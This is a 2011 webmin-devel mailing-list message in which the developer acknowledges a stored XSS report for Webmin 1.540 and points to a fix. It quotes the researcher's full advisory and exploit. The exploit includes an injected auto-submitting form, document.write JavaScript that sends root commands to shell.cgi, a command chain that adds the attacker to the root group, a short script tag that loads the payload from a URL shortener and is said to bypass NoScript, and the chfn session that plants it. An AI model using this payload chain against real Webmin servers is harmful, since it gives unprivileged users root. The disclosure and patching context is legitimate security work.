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Re: [webmin-devel] XSS in Webmin 1.540 + exploit for privilege escalation
From: "Jamie Cameron" <jcameron () webmin com>
Date: Sat, 23 Apr 2011 18:11:12 -0700 (PDT)

Hi Javier,

Thanks for reporting this - I hadn't considered this attack
vector, as I didn't realize that chfn could be used to modify a user's
real name.

I have created a fix which you can see at :


Also an update for the Users and Groups module can be found at 
http://www.webmin.com/updates.html , and will be available from within
the Webmin UI.

 - Jamie

On 23/Apr/2011 17:46 Javier Bassi <javierbassi () gmail com> wrote ..
Name :  XSS vulnerability in Webmin
Software :  All versions prior to and including 1.540 are affected.
Vendor Hompeage :  http://www.webmin.com
Vulnerability Type :  Cross-Site Scripting
Severity :  Medium
Researcher :  Javier Bassi <javierbassi [at] gmail [dot] com>

Webmin is a web-based interface for system administration for Unix.
Using any modern web browser, you can setup user accounts, Apache,
DNS, file sharing and much more.

Webmin is affected by a XSS vulnerability in all versions prior to and
including 1.540.
Webmin fails to sanitize $real in useradmin/index.cgi. $real is the
"Full Name" in the finger information of the user. useradmin/index.cgi
is the control panel of the "Users & Groups" section in webmin.
An attacker that has a normal user on the victim's machine could be
able to change his Full Name with chfn command, inject XSS and execute
commands as root.

2011.04.24 - announced at my site/informed developers/disclosed at my site.

wait for updates.

Developing a exploit:
With Webmin you can execute shell commands and the only security
measure Webmin has is checking the Referer in the HTTP headers. So we
can't use <iframe>, but we can bypass this protection by injecting a
code that execute a Javascript file that prints a form that
autosubmits itself to the Webmin's shell.cgi and execute mutiple
commands in the format command1;command2;...;commandn
So XSS-->.js-->form-->autosubmit-->shell.cgi

The injected code will be displayed inside a form, so we need to close
the original form first with </form>.
The shell/index.cgi form is the next one:

</form><form class='ui_form' style="visibility:hidden"
action='https://zion:10000/shell/index.cgi&apos; method=post
enctype=multipart/form-data >
<input class='ui_submit' type=submit value="Execute command:">
<input class='ui_textbox'type=hidden name="cmd" value="" size=50
<input class='ui_submit' type=submit name="clear" value="Clear history">
<input class='ui_hidden' type=hidden name="pwd" value="/root">
<input class='ui_hidden' type=hidden name="history" value="">
<input class='ui_hidden' type=hidden name="previous" value="find /usr
-name sftp-server">
<input class='ui_hidden' type=hidden name="previous" value="echo
/usr/lib/sftp-server >> /etc/shells">
<input class='ui_hidden' type=hidden name="previous" value="cat /etc/shells">
<input class='ui_hidden' type=hidden name="previous" value="find
/usr/lib -name sftp-server">
<input class='ui_hidden' type=hidden name="previous" value="echo
/usr/lib/openssh/sftp-server >> /etc/shells">
<input class='ui_submit' type=submit name="doprev" value="Execute
previous command">
<select class='ui_select' name="pcmd" ><option value="echo
/usr/lib/openssh/sftp-server >> /etc/shells" >echo
/usr/lib/openssh/sftp-server >> /etc/shells
<option value="find /usr/lib -name sftp-server" >find /usr/lib -name sftp-server
<option value="cat /etc/shells" >cat /etc/shells
<option value="echo /usr/lib/sftp-server >> /etc/shells" >echo
/usr/lib/sftp-server >> /etc/shells
<option value="find /usr -name sftp-server" >find /usr -name sftp-server
</select><input type=button name=movecmd value='Edit previous'
onClick='cmd.value = pcmd.options[pcmd.selectedIndex].value'>
<input class='ui_submit' type=submit name="clearcmds" value="Clear commands">

We use Javascript to autosubmit it. We add id="lala" in form tag and
also we add the next script at the end of the code:

Commands go in 'cmd' input. A nice combination of commands could be:
chfn -f "safename" neo;usermod -G root neo;usermod -g root neo;killall
-9 firefox-bin
So when the admim browse "Users & Groups" this will change the Full
name of our user 'neo' back to a safe one, makes us root and kill
firefox. The admin will think firefox crashed and when he goes back to
"Users and Groups" in Webmin it will not crash again beause we already
changed our full name.
To include commands in value="" they must be html escaped: (
http://www.htmlescape.net/htmlescape_tool.html )
chfn -f &quot;safename&quot; neo;usermod -G root neo;usermod -g root
neo;killall -9 firefox-bin

Now we need a .js file that prints the form + the autosubmit code.
(thx to http://accessify.com/tools-and-wizards/developer-tools/html-javascript-convertor/
It will look like this

document.write("<\/form><form class='ui_form'
style=\"visibility:hidden\" id=\"lala\"
action='https:\/\/zion:10000\/shell\/index.cgi' method=post
enctype=multipart\/form-data >");
document.write("<input class='ui_submit' type=submit value=\"Execute
document.write("<input class='ui_textbox'type=hidden name=\"cmd\"
value=\"chfn -f &quot;safename&quot; neo;usermod -G root neo;usermod
-g root neo;killall -9 firefox-bin\" size=50
document.write("<input class='ui_submit' type=submit name=\"clear\"
value=\"Clear history\">");
document.write("<input class='ui_hidden' type=hidden name=\"pwd\"
document.write("<input class='ui_hidden' type=hidden name=\"history\"
document.write("<input class='ui_hidden' type=hidden name=\"previous\"
value=\"find \/usr -name sftp-server\">");
document.write("<input class='ui_hidden' type=hidden name=\"previous\"
value=\"echo \/usr\/lib\/sftp-server >> \/etc\/shells\">");
document.write("<input class='ui_hidden' type=hidden name=\"previous\"
value=\"cat \/etc\/shells\">");
document.write("<input class='ui_hidden' type=hidden name=\"previous\"
value=\"find \/usr\/lib -name sftp-server\">");
document.write("<input class='ui_hidden' type=hidden name=\"previous\"
value=\"echo \/usr\/lib\/openssh\/sftp-server >> \/etc\/shells\">");
document.write("<input class='ui_submit' type=submit name=\"doprev\"
value=\"Execute previous command\">");
document.write("<select class='ui_select' name=\"pcmd\" ><option
value=\"echo \/usr\/lib\/openssh\/sftp-server >> \/etc\/shells\" >echo
\/usr\/lib\/openssh\/sftp-server >> \/etc\/shells");
document.write("<option value=\"find \/usr\/lib -name sftp-server\"
find \/usr\/lib -name sftp-server");
document.write("<option value=\"cat \/etc\/shells\" >cat \/etc\/shells");
document.write("<option value=\"echo \/usr\/lib\/sftp-server >>
\/etc\/shells\" >echo \/usr\/lib\/sftp-server >> \/etc\/shells");
document.write("<option value=\"find \/usr -name sftp-server\" >find
\/usr -name sftp-server");
document.write("<\/select><input type=button name=movecmd value='Edit
previous' onClick='cmd.value =
document.write("<input class='ui_submit' type=submit
name=\"clearcmds\" value=\"Clear commands\">");

We have to upload the file somewhere and use a url shotener.

Now we need the script code that loads the .js file. Linux program
chfn limits the Full name field to 80 chars and restrict the next
three chars:
 = (equal) , (comma) or : (colon)
The XSS code we can use is the next one (tested in FF4.0):
<script>document.write("<script src\u003d//bit.ly/g2KmJP></scr"+"ipt>")</script>
(this code bypass NoScript anti-XSS protection)

To perform the exploit we have login and change our finger information

neo () Zion ~ $ chfn
Changing the user information for neo
Enter the new value, or press ENTER for the default
      Full Name [safename]: <script>document.write("<script
      Room Number []:
      Work Phone []:
      Home Phone []:
neo () Zion ~ $

Finally we wait for the admin to invite us to join the root group ;)

Other considerations
* The "//" in the XSS code is equal to "http://"; only in the cases in
which the code is placed in an http:// website. Because Webmin panel
is https:// we need a URL shortener service with SSL and a valid
certificate. That's why I used bit.ly. The shortest ones like goo.gl
and sr.pr don't have valid SSL ceterfiticate so a warning will appear
in most browsers when trying to access them via https asking us if we
want to continue. In an exploit scenario we can't use them.
* We will be able to modify our Full Name with chfn only if constant
CHFN_RESTRICT is set to "frwh" in /etc/login.defs. This is the default
config in Mandriva and Slackware but not in Debian which is set to
"rwh". I don't know about other distros.
* With XSS we could have also steal admin's cookie but it's most
likely that NoScript will block that attack. The reason why NS can't
block this one is because is not exactly a typical cross-domain XSS.
This is HTML injection or permanent XSS.

Javier Bassi- http://javierb.com.ar
Special thanks to barbarianbob from sla.ckers.org for compressing the
XSS from 92 chars to 80.

1. Advisory URL: http://javierb.com.ar/2011/04/24/xss-webmin-1-540/
2. Exploit in action: http://www.youtube.com/watch?v=CUO7JLIGUf0

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